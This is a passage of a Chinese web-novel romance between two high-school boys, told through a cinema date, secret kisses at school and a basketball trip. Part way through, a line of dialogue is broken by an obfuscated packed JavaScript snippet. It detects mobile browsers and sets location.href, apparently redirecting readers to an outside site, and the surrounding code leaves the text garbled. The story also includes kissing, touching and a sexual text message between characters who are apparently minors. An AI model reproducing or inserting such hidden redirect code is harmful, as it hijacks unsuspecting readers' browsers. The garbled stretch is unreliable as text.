陈野突然加速,周予安惊呼一声,本能地环住了陈野的腰。风在耳边呼啸,陈野的笑声飘过来:"看吧,说了会摔。" 周予安的脸贴在陈野背上,能闻到洗衣粉的清香和阳光的味道。陈野的腰比他想象的更结实,隔着布料能感受到肌肉的线条。他应该松手的,但鬼使神差地,他抱得更紧了。 电影院人头攒动。陈野去买票,周予安站在一旁,看着周围成双成对的情侣,突然意识到他们这样多么像—— "拿到了!"陈野挥舞着两张票,"还有十分钟开场,要爆米花吗?" 周予安点点头。他们买了最大桶的爆米花和两杯可乐,随着人流进入放映厅。黑暗中找到座位后,周予安才发现这是个情侣厅——双人沙发座,几乎没有间隔。 "呃,"陈野也注意到了,挠挠头,"其他场次都满了..." "没事。"周予安迅速坐下,把爆米花桶放在两人中间,像一道小小的防线。 灯光熄灭,电影开始。周予安努力把注意力集中在银幕上,但所有感官都在背叛他——陈野的呼吸声,陈野身上淡淡的柑橘香气,陈野偶尔拿爆米花时碰到他手指的触感。 电影演到一半,主角们在太空舱里濒临死亡时互相告白。周予安感到有什么温暖的东西覆上了他的手背——陈野的指尖,小心翼翼地,像试探水温一样轻轻碰触。 周予安僵住了。银幕上的光芒变幻,照亮陈野紧绷的侧脸。那只手没有拿开,反而慢慢翻转,掌心向上,做出一个邀请的姿势。 周予安的心跳快得几乎要冲出胸腔。他缓缓把自己的手放进那个掌心,立刻被紧紧握住。陈野的手比他大一圈,温暖干燥,指腹有打篮球留下的茧。 他们就这样牵着手看完了后半场电影,谁都没有动,谁都没有说话。银幕上的宇宙飞船穿越虫洞,周予安觉得自己的心脏也正在经历某种时空扭曲。 灯光亮起的瞬间,两人同时松手。周予安低头看自己的掌心,上面有细密的汗珠,不知是他的还是陈野的。 "电影...还不错。"走出放映厅时,陈野干巴巴地说。 "嗯。"周予安盯着自己的鞋尖,"特效很好。" 他们沉默地走到自行车旁。陈野踢开脚撑,突然说:"要不要去河边走走?现在还早。" 周予安看了看表——下午三点半。他应该回家复习下周的月考,但嘴里说出的却是:"好。" 秋日的河岸铺满金黄落叶,踩上去沙沙作响。他们并肩走着,手臂偶尔相碰,又迅速分开。 "那个..."陈野突然停下,转向周予安,"刚才在电影院..." 周予安屏住呼吸。 "我是说,我们..."陈野的耳朵红得滴血,"朋友之间那样...很正常吧?" 一阵风吹过,卷起几片落叶。周予安感到胸口有什么东西微微发凉。"嗯,很正常。"他听见自己说。 陈野如释重负地笑了:"就是嘛!我和队友也经常..."他的声音在周予安的眼神中弱下去,"呃...不是那种..." "我知道。"周予安转身继续往前走,"朋友。" 陈野追上来:"我不是那个意思..." "那是什么意思?"周予安突然停下,直视陈野的眼睛,"你说我们是朋友,我同意了。还有什么问题?" 陈野张了张嘴,又闭上。他的眉头紧锁,那道小疤痕皱成一团。"操,"他低声说,"我不擅长这个。" 周予安等着他继续,但陈野只是烦躁地抓乱了自己的头发。最终,周予安叹了口气:"走吧,回去了。" 回程的自行车上,周予安没有再抱陈野的腰。他抓着后座,身体微微后仰,确保两人之间始终保持着一拳的距离。 陈野骑得很慢,比来时慢得多。"周予安,"他突然说,"如果我刚才说错了什么..." "没有。"周予安打断他,"你什么都没说错。" 他们在周予安家楼下道别,气氛尴尬得令人窒息。周予安转身要走,陈野突然抓住他的手腕:"等等。" 周予安回头。陈野的眼里有什么东西在闪烁,像是挣扎,又像是决心。"短信说。"陈野最终松开手,"晚上...我给你发短信。" 周予安点点头,转身上楼。电梯里,他看着镜中的自己——脸上一片平静,只有眼睛泄露了真实情绪:困惑,失望,还有一丝难以名状的期待。 晚上八点,周予安坐在书桌前,面前摊着物理笔记,却一个字也看不进去。手机就放在旁边,屏幕朝上,安静得令人焦躁。 九点,他洗了个澡,水温调得比平时低,试图冷却脑海中不断闪回的电影院画面——陈野的手,陈野的呼吸,陈野那句"朋友"。 十点,手机终于震动。周予安几乎是扑过去抓起它。 陈野:「今天对不起。」 周予安盯着这简单的四个字和一个句号,胸口发闷。他打字又删除,最终只回了一个「没事。」 陈野立刻回复:「不,有事。我说谎了。」 周予安的心跳加速:「关于什么?」 「朋友那段。」陈野的回复来得很快,「那不是朋友会做的事。至少我不会。」 周予安的手指悬在屏幕上方,不知该如何回应。手机又震动了一下。 陈野:「我能说实话吗?」 周予安:「说。」 三分钟的漫长等待后,陈野的消息终于到来:「我想牵你的手。不是因为电影气氛,不是因为朋友关系。就只是...想牵。」 周予安读了三遍,确保自己没看错。他的指尖微微发抖:「为什么?」 陈野:「你非要我说出来?」 周予安:「嗯。」 这次等了五分钟。周予安数着自己的心跳,一下,两下,三下... 陈野:「因为我喜欢你。不是朋友那种。」 手机从周予安手中滑落,掉在床上。他捡起来,又读了一遍,仿佛要确认这不是幻觉。屏幕暗下去,他又按亮,那条消息还在那里,黑白分明。 他深吸一口气,开始打字:「哪种?」 陈野秒回:「想亲你的那种。」 周予安的耳膜鼓动着心跳声,大得几乎听不见其他声音。他蜷起脚趾,把脸埋进枕头里几秒钟,然后强迫自己继续打字:「证明一下。」 手机立刻响起——陈野打来了电话。周予安按下接听键,但没有说话。 "开门。"陈野的声音通过电波传来,有些失真,"我在你家楼下。" 周予安冲到窗前,拉开窗帘。楼下,陈野站在路灯旁,手机贴在耳边,仰头看着他窗口的方向。 "你什么时候——" "刚到。"陈野说,"现在能下来吗?或者我上去?" 周予安看了看客厅——父亲出差了,家里只有他一个人。"等我。" 他挂断电话,抓起外套冲出门。电梯慢得令人发指,最终他放弃等待,从楼梯一路跑下去。 推开单元门时,陈野就站在三步之外,呼吸在冷空气中凝成白雾。他们隔着这段短短的距离对视,谁都没有先开口。 最终是陈野向前迈了一步:"我..." 周予安没让他说完。他抓住陈野的衣领,把人拉下来,仰头吻了上去。 这个吻又急又笨拙,牙齿撞到牙齿,疼得周予安轻哼一声。但下一秒,陈野的手捧住了他的脸,调整角度,重新吻住他。这一次,又轻又软,像一片雪花落在唇上。 分开时,两人都气喘吁吁。陈野的额头抵着周予安的,眼睛亮得惊人:"这算证明了吗?" 周予安点点头,突然不好意思起来。他松开陈野的衣领,发现上面已经被自己攥出了褶皱。 "我..."他刚开口,就被陈野再次吻住。这一次更深,更久,陈野的手环住他的腰,把他拉进怀里。周予安能感觉到两颗心脏隔着胸腔互相撞击,分不清是谁的心跳更快。 "我喜欢你。"分开后,陈野低声说,"不是朋友那种,是想当你男朋友那种。" 周予安把脸埋在陈野肩窝,闷闷地说:"我知道。" "就这样?"陈野收紧手臂,"没别的要说了?" 周予安抬起头,看着陈野被路灯照亮的眼睛:"我也喜欢你。不是朋友那种。" 陈野笑起来,露出那颗虎牙:"早该这么说了。"他牵起周予安的手,"冷吗?去我家?我爸妈都不在。" 周予安犹豫了一下:"...好。" 陈野家比周予安想象中整洁,墙上贴着几张篮球海报和乐队照片。书桌上摆着一个相框,里面是年幼的陈野和一位美丽的女子站在钢琴旁。 "我妈。"陈野注意到周予安的视线,"她走后我就没再弹过钢琴。" 周予安轻轻抚摸相框:"她很漂亮。" "嗯。"陈野从背后抱住他,下巴搁在他肩上,"你更漂亮。" 周予安用手肘捅了他一下,但没用力。陈野笑着把他转过来,吻了吻他的鼻尖:"饿吗?我煮面给你吃。" "你会做饭?"周予安挑眉。 "方便面算吗?" 最终他们点了外卖,坐在陈野床上吃。陈野坚持要喂周予安,结果把酱汁蹭到了他嘴角,又用拇指轻轻擦掉,然后鬼使神差地把拇指放进自己嘴里舔了舔。 周予安的脸瞬间烧了起来:"白痴..." 陈野只是笑,凑过来亲他沾着酱汁的嘴唇。这个吻带着外卖的味道,却比任何高级餐厅的美食都令人心动。 晚上十一点,周予安该回家了。陈野坚持送他,两人手牵着手走在夜色中,谁都不舍得走快。 "周一在学校..."周予安犹豫着开口。 "怎么了?" "我们要...公开吗?" 陈野停下脚步,认真思考了一会儿:"你想吗?" 周予安想象了一下全班同学的反应,班主任可能的谈话,走廊上的窃窃私语..."不太想。" "那就保密。"陈野捏了捏他的手,"只属于我们两个人的秘密。" 他们在周予安家楼下又吻了一次,比之前几次都长,都深。分开时,两人的呼吸都乱了。 "明天见?"陈野抵着他的额头问。 "嗯。"周予安点头,"明天见。" 回到家,周予安躺在床上,手机震动。陈野的消息:「到家了。想你。」 周予安把手机按在胸口,回想着今天的每一个细节——电影院的手指相缠,路灯下的初吻,陈野床上共享的外卖。他的嘴唇还残留着陈野的触感,身上还带着陈野的气息。 他回复:「才分开五分钟。」 陈野:「那也想。明天早上我去接你?」 周予安:「嗯。」 陈野:「晚安,男朋友。」 周一早晨,周予安比平时多花了十分钟检查自己的着装。他对着玄关的镜子拨了拨头发,又立刻为自己的举动感到荒谬——又不是第一次和陈野一起去学校。 手机震动。陈野的消息:「到楼下了,给你带了豆浆。」 周予安嘴角不自觉地上扬,回复:「马上下来。」 电梯下行的十几秒里,他的心跳越来越快。昨晚的吻还留在唇上,陈野那句"男朋友"还在耳边回响。金属门打开时,周予安深吸一口气,努力摆出平常的表情。 陈野靠在一辆自行车上等他,今天穿了校服外套,没拉拉链,露出里面的黑色T恤。阳光穿过树叶间隙,在他脸上投下斑驳的光影。看到周予安,他眼睛一亮,随即又刻意收敛了笑容。 "早。"陈野递过一个纸杯,"趁热喝。" 周予安接过豆浆,指尖与陈野短暂相触,像被烫到似的迅速缩回。"谢谢。"他小声说,警惕地看了看周围。 "没人看见。"陈野压低声音,嘴角勾起一抹坏笑,"紧张兮兮的周老师真可爱。" 周予安瞪了他一眼,耳根却开始发烫。他们保持着一段距离走向学校,像往常一样一前一后,但今天空气中似乎有什么不一样了。 进校门前,陈野突然放慢脚步,等周予安走到身边。"放学后音乐教室见?"他轻声说,眼睛盯着前方,"我想听你弹琴。" 周予安点点头,心跳加速。他们分开走向各自的教室,周予安能感觉到陈野的目光一直追随着他的背影。 教室里,同学们三三两两地聊着周末见闻。周予安刚坐下,前桌的李瑶就转过头来:"周予安,数学作业最后一题你做出来了吗?" "嗯。"周予安从书包里掏出作业本,"这里要用辅助角公式..." 他讲解时,余光瞥见陈野晃进了教室,和几个篮球队的队友打闹着。陈野的声音比平时大,笑声格外爽朗,像是在刻意吸引谁的注意。 "所以这个角等于...周予安?你在听吗?"李瑶伸手在他眼前晃了晃。 "啊?哦,对,等于π/2。"周予安猛地回神,强迫自己集中注意力。但后颈的皮肤能清晰感觉到陈野投来的灼热视线。 课间操时,他们班和三班站得不远。周予安做转体运动时,总能对上陈野直勾勾的目光。后者甚至明目张胆地冲他眨眨眼,引得旁边的队友起哄:"野哥看谁呢这么入迷?" "关你屁事。"陈野笑着给了那人一拳,目光却仍锁定周予安。 周予安迅速转身,假装整理鞋带以掩饰发烫的脸颊。这种明目张胆的调情太危险了,但他们约定好的暗号系统还没建立起来——昨晚分别前,陈野坚持要设计一套只有他们懂的信号。 午休铃响,周予安刚拿出饭盒,陈野就出现在教室后门,身边围着几个篮球队的队员。 "周予安!"陈野大声喊,"班主任找你!" 周予安愣了一下——班主任根本没找他,这是他们约定的第一个暗号,意思是"我想单独见你"。 "哦,好。"他放下饭盒,跟着陈野走出教室。拐过走廊转角,确认四下无人后,陈野立刻把他拉进楼梯间。 "想你了。"陈野抵着他的额头说,呼吸热热地扑在周予安脸上。 "才分开两节课..."周予安小声抗议,却没有推开他。 "那也想。"陈野快速在他唇上啄了一下,"下午体育课,来看我打球?" "我们班也有体育课。" "那就来看。"陈野捏了捏他的手指,"求你了。" 周予安无奈地点头。陈野咧嘴一笑,又亲了他一下才松开:"快回去吃饭,一会儿饭凉了。" 回教室的路上,周予安的嘴角一直上扬着。这种秘密的甜蜜像一颗水果糖,在心底慢慢融化。 下午体育课,两个班确实同时上课。周予安他们班跑完圈后自由活动,他本想回教室看书,却被几个同学拉去了篮球场。 "去看三班打球!他们班有陈野,打得可好了。"李瑶兴奋地说。 周予安假装不情愿地跟着去了,心里却像揣了只小兔子。篮球场边已经围了不少人,大多是女生。陈野在场上奔跑,背心被汗水浸湿,贴在身上勾勒出肌肉的轮廓。他刚投进一个三分球,引起一阵尖叫。 "陈野好帅啊..."身旁的女生小声议论。 "听说他还没女朋友?" "得了吧,多少女生给他递情书都被拒了。" 周予安低头假装整理鞋带,掩饰自己上扬的嘴角。这时场上突然一阵骚动——陈野摔倒了。 周予安猛地抬头,看到陈野坐在地上,抱着膝盖。他下意识向前一步,又硬生生停住。队友们已经围了上去,体育老师也在查看情况。 "没事没事,"陈野的声音传来,"就擦破点皮。" 他的目光越过人群,精准地锁定了周予安。两人对视一秒,陈野微不可察地摇了摇头——这是他们刚建立的第二个暗号,"我没事"。 周予安松了口气,但手指仍紧紧攥着裤缝。直到陈野重新站起来继续打球,他才慢慢松开手。 体育课结束,同学们三三两两往回走。周予安故意放慢脚步,落在最后。一个身影从后面追上来,与他并肩而行。 "担心我了?"陈野低声问,手臂若有似无地蹭过周予安的。 "没有。"周予安嘴硬,"你摔得那么假。" 陈野轻笑:"骗不过周老师啊。"他趁四下无人,迅速捏了捏周予安的手腕,"音乐教室,别忘了。" 周予安点点头,加快步伐走开了。他能感觉到陈野的目光一直追随着自己,像阳光一样灼热。 放学后,周予安故意磨蹭了一会儿,等大部分学生都离开了才往音乐教室走。推开门时,陈野已经坐在钢琴前,笨拙地按着琴键。 "你来了。"陈野抬头,眼睛亮亮的,"我在练习你教我的那段。" 周予安放下书包,走到他身边坐下。陈野的手指粗大,按在琴键上显得格格不入,但他弹得很认真,眉头微微皱起,舌尖不自觉地抵着上唇。 "这里,"周予安伸手覆在陈野的手上,"节奏再慢一点。" 陈野翻转手掌,与他十指相扣:"这样更慢。" 周予安想抽回手,却被握得更紧。"有人进来怎么办?"他紧张地看向门口。 "锁门了。"陈野凑近,鼻尖蹭过周予安的耳廓,"而且这个点没人来。" 钢琴发出不和谐的声响——陈野的另一只手还按在琴键上。周予安被吻得喘不过气,手肘不小心压到一片琴键,刺耳的声音让他猛地推开陈野。 "等等...钢琴..." "别管钢琴了。"陈野把他拉回来,这次吻得更深。周予安的手揪住他的T恤下摆,布料在指间皱成一团。 突然,门外传来脚步声和说笑声。两人迅速分开,周予安差点从琴凳上摔下去。陈野条件反射地把他拉到身后,像要保护他免受入侵者的伤害。 脚步声渐行渐远,最终消失在走廊尽头。周予安长出一口气,这才发现自己的心脏跳得快要冲出胸腔。 "吓死我了..."他松开攥着陈野衣角的手。 陈野却笑了:"刺激吧?"他转身面对钢琴,重新弹起那段简单的旋律,"说真的,教我弹完这个。" 周予安调整呼吸,强迫自己集中注意力在音乐上。他们肩并肩坐在琴凳上,四手联弹那段《夜曲》的开头。陈野学得很快,虽然指法生涩,但已经能弹出完整的段落。 "怎么样?"弹完后,陈野期待地问。 "不错。"周予安诚实地评价,"你真的很有天赋。" 陈野的表情突然变得柔软:"我妈以前也这么说。"他低头看着琴键,"她总说我有''音乐耳朵'',可惜没耐心学。" 周予安轻轻碰了碰他的手背:"现在你有耐心了。" "因为有好老师啊。"陈野笑着看他,"周老师特别严格,不练琴就不给亲。" 周予安红着脸给了他一拳,却被抓住手腕拉进怀里。钢琴再次发出抗议的声响,但这次没人理会。 第二天午休时,周予安正埋头做题,教室后门突然一阵骚动。他抬头看去,一个陌生女生站在门口,手里拿着一个粉色的信封,而陈野正被队友们推搡着走向她。 周予安的笔尖在纸上戳出一个洞。他强迫自己低头继续做题,但耳朵不由自主地竖起来。 "陈野学长..."女生的声音细若蚊吟,"这个...请你收下..." 教室里一片起哄声。周予安的视线黏在习题集上,却一个字也看不进去。他听到陈野说了什么,然后是女生失望的叹息和众人的调侃。 "野哥太冷酷了吧!" "第几个了这是?" "你到底喜欢什么类型的啊?" 周予安的指甲陷入掌心。理智上他知道陈野会拒绝,但情感上那股酸涩感仍然不受控制地涌上来。 "关你们屁事。"陈野的声音由远及近,最终停在周予安桌前。他敲了敲桌面,"周老师,班主任又找你。" 周予安抬头,对上陈野意味深长的眼神。他默默起身,跟着陈野走出教室。一拐过走廊转角,陈野就把他拉进了男厕所——幸好里面没人。 "吃醋了?"陈野把他推进一个隔间,锁上门。 "没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353480|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。"周予安硬邦邦地说。 陈野轻笑,用鼻尖蹭了蹭他的:"撒谎。你刚才的表情像是要把习题集烧个洞。" 周予安别过脸:"我才不在乎谁给你递情书。" "哦?"陈野挑眉,"那如果我现在回去接受她的心意..." 周予安猛地抬头,看到陈野戏谑的表情才知道被耍了。他气呼呼地推了对方一把,却被抓住手腕按在隔间板上。 "我只收一个人的情书。"陈野低声说,嘴唇几乎贴上他的,"不过那个人连个纸条都懒得给我写。" 周予安的心跳漏了一拍:"...你想要情书?" "想要啊。"陈野轻咬他的下唇,"不过更想要这个。" 这个吻比之前的都要激烈,带着一丝占有欲。周予安揪住陈野的衣领,任由对方把他压在隔间板上亲。直到上课铃响起,两人才气喘吁吁地分开。 "放学后,"陈野抵着他的额头说,"给我写情书?" 周予安红着脸推开他:"想得美。" 回教室的路上,周予安的嘴唇还残留着酥麻感。经过三班时,他看到那个递情书的女生正趴在桌上哭,朋友们围着她安慰。一股愧疚感涌上心头,但很快又被陈野刚才的话冲散。 下午最后一节课是班会。班主任宣布下个月有校际篮球赛,陈野作为队长要带队去邻市比赛,为期三天。 "周予安,"班主任突然点名,"你作为学习委员,负责给参赛队员补课,别让他们落下太多进度。" 周予安僵在座位上。这意味着他要和陈野单独相处更多时间——这本该是好事,但在全班同学面前被公开指派,又让他感到不安。 "没问题老师!"陈野的声音从后排传来,"我一定''好好''跟周委员学习。" 全班哄笑。周予安不用回头也能想象陈野那副得意的表情。他的耳根发烫,只能低头假装记笔记。 放学后,他们照例在音乐教室碰面。一关上门,陈野就把他抱起来放在钢琴上,琴键发出一阵不和谐的声响。 "三天两夜,"陈野兴奋地说,"我们可以住一个房间!" 周予安双手抵着他的胸膛:"班主任只是让我给你们补课,不是让我一起去。" "你当然得去。"陈野瞪大眼睛,"你是学习委员啊,要负责监督我们学习。" "你刚才不是这么跟老师说的..." 陈野吻住他的抗议,手指插入他的发丝:"求你了,周予安。没有你我睡不着。" 周予安被亲得晕头转向,最终无奈地点头:"我试试跟班主任申请..." 陈野欢呼一声,把他从钢琴上抱下来转了个圈。周予安惊呼着抓住他的肩膀,又被堵住了嘴唇。 回家路上,周予安的手机震动。陈野的消息:「想到要和你一起过夜,我就硬得不行。」 周予安差点把手机扔出去。他环顾四周,确认没人看到他的表情,才颤抖着回复:「闭嘴。」 校车在高速公路上平稳行驶,窗外的景色飞速后退。周予安坐在倒数第二排,假装专注地看书,实际上每个细胞都在感知着后排的陈野——他的笑声,他身上的柑橘沐浴露香气,他偶尔故意踢一下周予安座椅的小动作。 "周委员,"班主任从前排回头,"到了酒店记得把学习计划发给大家。" 周予安点点头,余光瞥见陈野正冲他做鬼脸。三天两夜的校际篮球赛,他最终以"随队辅导"的名义跟来了。这个决定让他昨晚几乎没睡,现在眼下还挂着淡淡的青黑。 "嘿,予安。"学习委员李明从旁边座位凑过来,"这道物理题能帮我看看吗?" 周予安刚想接过习题本,校车突然一个急刹车,他整个人向前栽去。一只有力的手臂从后面伸过来,稳稳扶住了他的肩膀。 "小心。"陈野的声音近在耳畔,热气喷在他的耳廓上。 周予安迅速坐直,陈野的手已经缩了回去,但那一瞬的触感还留在肩头,像一块小小的烙印。"谢谢。"他小声说,不敢回头。 李明好奇地看了看他们:"你们什么时候这么熟了?" "我们一直很熟啊。"陈野的声音从后方传来,带着戏谑,"是吧,周老师?" 周予安的耳根发烫,低头假装研究李明的习题:"这道题要用能量守恒定律..." 两小时后,校车驶入酒店停车场。周予安跟着队伍走进大堂,听着教练分配房间。按照计划,他和李明一间,陈野和篮球队副队长张浩一间。 "好了,大家放好行李,一小时后大厅集合去吃午饭。"教练拍拍手,"下午参观比赛场地,晚上复习战术。" 周予安接过房卡,感觉一道目光钉在背上。他不用回头也知道是谁——昨晚陈野在电话里软磨硬泡,非要他想办法住一起,但他实在找不到合理借口。 电梯里,李明兴奋地谈论着明天的比赛。周予安机械地应和着,心思却飘到了走廊尽头的某间房。刚把行李放好,手机就震动了。 陈野:「这破安排 」 陈野:「我想跟你睡」 周予安差点被口水呛到。他迅速回复:「别胡说。晚上找机会见面。」 陈野:「等不及了。现在就想亲你。」 周予安把手机按在胸口,仿佛这样就能阻止心跳声传到隔壁房间。他深吸一口气,回复:「专心比赛。」 午饭在一家自助餐厅解决。周予安端着盘子刚坐下,陈野就大摇大摆地坐到了他对面,身边还跟着两个队友。 "周委员,"陈野故意用正式称呼,眼睛里却闪着狡黠的光,"教练说你得监督我们健康饮食。" 周予安低头看着陈野盘子里堆成小山的炸鸡:"这就是你的健康饮食?" 队友们哄笑起来。陈野耸耸肩,突然从周予安盘子里夹走一块西兰花:"交换。"他把自己的鸡翅放到周予安盘里,"你太瘦了,多吃点。" 这个举动太过自然,以至于没人觉得异常,除了周予安——他的心跳快得几乎要冲出胸腔。陈野的筷子刚刚碰到了他的,间接接吻的想法让他的脸颊发烫。 下午参观比赛场地时,周予安刻意走在队伍最后。体育馆宽敞明亮,比他们学校的要大上一倍。队员们兴奋地讨论着战术,周予安则默默记下了观众席的布局——他要找一个既能看清比赛又不会太显眼的位置。 "嘿。" 一股热气突然喷在耳畔,周予安差点跳起来。陈野不知何时溜到了他身后,借着人群的掩护,手指轻轻勾了勾他的小指。 "吓死我了。"周予安小声抱怨,却没有抽回手。 "晚上溜出来吧,"陈野的声音低得只有他能听见,"我在消防通道等你。十点。" 周予安刚要回答,教练突然喊陈野的名字。陈野迅速拉开距离,大声应道:"来了!"临走前,他冲周予安眨了眨眼。 晚餐后是战术会议。周予安作为"随队辅导"也参加了,坐在角落记录要点。陈野作为队长发言,站在白板前讲解战术的样子格外认真,偶尔看向周予安的方向,眼神里藏着只有他懂的秘密信号。 会议结束已近九点半。回到房间,李明立刻冲进浴室洗澡。周予安坐在床边,盯着手机上的时间——22:00,还有二十五分钟。 他打开书本假装复习,实际上一个字也没看进去。水声停止后,李明擦着头发走出来:"你不洗吗?" "等会儿。"周予安说,"你先睡吧,我看会儿书。" 李明耸耸肩,爬上床没多久就传来均匀的呼吸声。周予安等到十点整,轻手轻脚地打开门溜了出去。 消防通道在走廊尽头,灯光昏暗。周予安刚推开门,就被一股力量拉进怀里。陈野的气息扑面而来,混合着薄荷牙膏和酒店沐浴露的味道。 "想死你了。"陈野把他压在墙上,迫不及待地吻上来。 周予安回应着这个吻,手指插入陈野微湿的发间。他们像两个渴极的人,贪婪地汲取对方的气息和温度。陈野的手滑进周予安的T恤下摆,掌心贴着他的腰际,引起一阵战栗。 "去我房间?"陈野喘息着问,"张浩回家了,临时有事。" 周予安犹豫了一下:"万一查房..." "不会的。"陈野又亲了他一下,"来吧,求你了。" 最终周予安点点头。他们像两个特工一样溜进陈野的房间,确认走廊无人后迅速关上门。下一秒,周予安就被压在了床上,陈野的吻雨点般落在他的脸上、颈间。 "等等..."周予安轻轻推他,"明天你还有比赛..." "所以才需要放松啊。"陈野坏笑着咬他的耳垂,"周老师不给队长做个赛前按摩?" 周予安红着脸给了他一拳,却被抓住手腕按在头顶。陈野的体重压着他,体温透过薄薄的衣料传来,让人安心又躁动。 他们亲吻、抚摸,探索着彼此的身体,却又不敢太过分——明天还有重要比赛,而且毕竟是在陌生的环境。最终,陈野把周予安搂在怀里,两人挤在一张单人床上,小声交谈。 "紧张吗?"周予安问,手指无意识地卷着陈野的衣角。 "有点。"陈野罕见地承认,"这次对手很强。"他低头看着怀里的周予安,"你会来看吧?" "当然。"周予安抬头,正好迎上陈野落下的吻。 这个吻温柔绵长,不带情欲,却比之前的任何一个都让周予安心颤。分开时,他发现自己眼眶发热。 "怎么了?"陈野敏锐地察觉到,拇指抚过他的眼角。 "没什么。"周予安把脸埋进陈野胸口,"就是...很喜欢你。" 陈野的手臂收紧,把他搂得更紧:"我也喜欢你,笨蛋。" 他们在彼此的怀抱中慢慢入睡,呼吸逐渐同步。半夜,周予安因认床醒来,发现自己仍被陈野紧紧抱着。月光透过窗帘缝隙洒进来,勾勒出陈野熟睡的侧脸轮廓。他轻轻抚摸那道眉骨上的小疤痕,心中涌起一股前所未有的保护欲。 第二天早晨,周予安在陈野醒来前悄悄溜回了自己房间。李明还在熟睡,对他的夜不归宿毫无察觉。 比赛在上午十点开始。周予安随队来到体育馆,找了个靠前但不显眼的位置坐下。场上的陈野穿着红色队服,热身时不断看向观众席,直到与周予安四目相对才露出安心的笑容。 比赛异常激烈。陈野作为队长和主力得分手,几乎打满全场。周予安紧握双手,指甲在手心留下深深的月牙形痕迹。每当陈野得分,他都强迫自己不要欢呼得太明显;每当陈野摔倒,他都咬紧牙关才能不冲下场。 第三节结束时,比分咬得很紧。周予安去洗手间回来时,在通道里撞见了正在喝水的陈野。 "嘿。"陈野眼睛一亮,迅速把他拉到角落,"看我打球的感觉怎么样?" "很棒。"周予安诚实地回答,伸手擦掉陈野下巴上的汗珠,"但别太拼了,你膝盖..." 陈野抓住他的手,快速亲了一下指尖:"为我加油,周予安。大声点,我想听见你的声音。" 最后一节比赛,周予安放弃了低调。每当陈野拿球,他都站起来呐喊;每当陈野得分,他都鼓掌到手心发红。在最后三十秒,陈野带球突破,一个假动作晃过防守队员,起跳投篮—— 球进哨响,绝杀比赛。全场沸腾,队员们把陈野抛向空中。周予安站在人群中,骄傲得眼眶发热。 庆祝过后,周予安在更衣室外等陈野。队员们陆续出来,看到他都笑着打招呼:"等我们队长呢?他还在冰敷膝盖。" 周予安点点头,心里一阵担忧。终于,陈野一瘸一拐地走出来,看到周予安时眼睛一亮:"你等我?" "膝盖怎么了?"周予安皱眉。 "老伤了,没事。"陈野摆摆手,"走,吃饭去,饿死了。" 晚餐时,周予安坚持要陈野少走动,帮他拿了一堆食物。陈野起初还笑着接受,但当周予安第三次起身要帮他拿饮料时,他的表情变了。 "够了。"陈野抓住周予安的手腕,"我不是废人。" 周予安愣住了:"我只是想帮忙..." "我不需要你可怜我。"陈野的声音有些冷,引得旁边几个队友抬头看。 周予安的脸刷地红了:"我没有可怜你。" "那就别把我当伤员对待。"陈野松开手,语气缓和了些,"我没事,真的。" 这顿饭吃得有些沉默。回酒店的大巴上,周予安故意坐在了前排,没和陈野一起。他望着窗外飞逝的景色,胸口闷得发疼。 晚上查房后,周予安刚准备关灯,房门被轻轻敲响。他打开门,陈野站在外面,头发还滴着水,表情有些局促。 "能进来吗?"陈野小声问。 周予安侧身让他进来。李明已经睡了,他们轻手轻脚地走到窗边的角落。 "对不起。"陈野直接说,"我态度不好。" 周予安摇摇头:"我也有错。不该过度保护你。" 陈野伸手抚摸他的脸颊:"我只是...不想在你面前显得脆弱。" "受伤不丢人。"周予安轻声说,"在我面前,你可以不用那么强。" 陈野的眼睛在月光下闪闪发亮。他倾身向前,轻轻吻住周予安:"今晚我能睡这儿吗?我保证老实。" 周予安看了看熟睡的李明,点点头。他们蹑手蹑脚地挤在一张单人床上,背对背以防被人发现。半夜,周予安醒来时发现陈野的手臂环着他的腰,脸贴在他的后颈处,呼吸均匀温热。 第二天是返程日。上午还有一场友谊赛,但陈野因膝盖伤被教练按在替补席。周予安坐在他旁边,两人时不时交换一个眼神或一个微笑。 "回去后,"陈野趁着没人注意,小声说,"我们还能这样吗?" 周予安知道他在问什么——回到学校,回到那个需要隐藏的关系中。他轻轻碰了碰陈野的手指:"当然。只是更小心点。" 陈野点点头,眼中闪过一丝周予安看不懂的情绪。 返程的校车上,周予安因连日的疲惫睡着了。醒来时,他发现自己靠在陈野肩上,后者正小心地不让队友发现这一幕。 "醒了?"陈野低声问,"你流口水了。" 周予安慌忙擦嘴角,却发现是干的。陈野憋笑憋得肩膀直抖。 "白痴。"周予安小声骂,却忍不住也笑了。他悄悄握住陈野的手,在无人看到的角落里十指相扣。 车窗外,夕阳西沉,给整个世界镀上一层金色。周予安想,如果能一直这样下去就好了——不用隐藏,不用假装,光明正大地牵着手,告诉全世界这个人是他的。 返校后的第一周,周予安总觉得有人在看他。 起初他以为是错觉,直到周三下午,他在图书馆自习时,清晰地听到身后传来窃窃私语。 "...就是他们篮球队长..." "...据说在酒店..." "...恶心..." 周予安的笔尖在纸上戳出一个洞。他慢慢转头,看到两个女生迅速低下头假装看书。他的胃部一阵绞痛,像是被人狠狠打了一拳。 手机在口袋里震动。陈野的消息:「晚上老地方见?想你。」 周予安盯着那条消息看了很久,最终只回了一个「嗯」。自从篮球赛回来,校园里关于他们的流言就像野火一样蔓延。虽然没人敢当面说什么,但那种意味深长的眼神和突然中断的谈话,都让周予安如坐针毡。 放学铃响后,他故意磨蹭了二十分钟才往音乐教室走。走廊上的人已经不多,但周予安还是警惕地观察着四周,确保没人注意到他的去向。 推开音乐教室的门,陈野已经坐在钢琴前,但不是像往常那样等他——他低着头,肩膀微微颤抖。 "陈野?"周予安轻声唤道。 陈野猛地抬头,迅速擦了擦眼睛。即使这样,周予安还是看到了他发红的眼眶和脸上未干的泪痕。 "怎么了?"周予安快步走过去,手悬在半空,不确定该不该触碰他。 "没事。"陈野勉强扯出一个笑容,"沙子进眼睛了。" 周予安在他身边坐下,手指轻轻抚过琴键:"要听什么?" 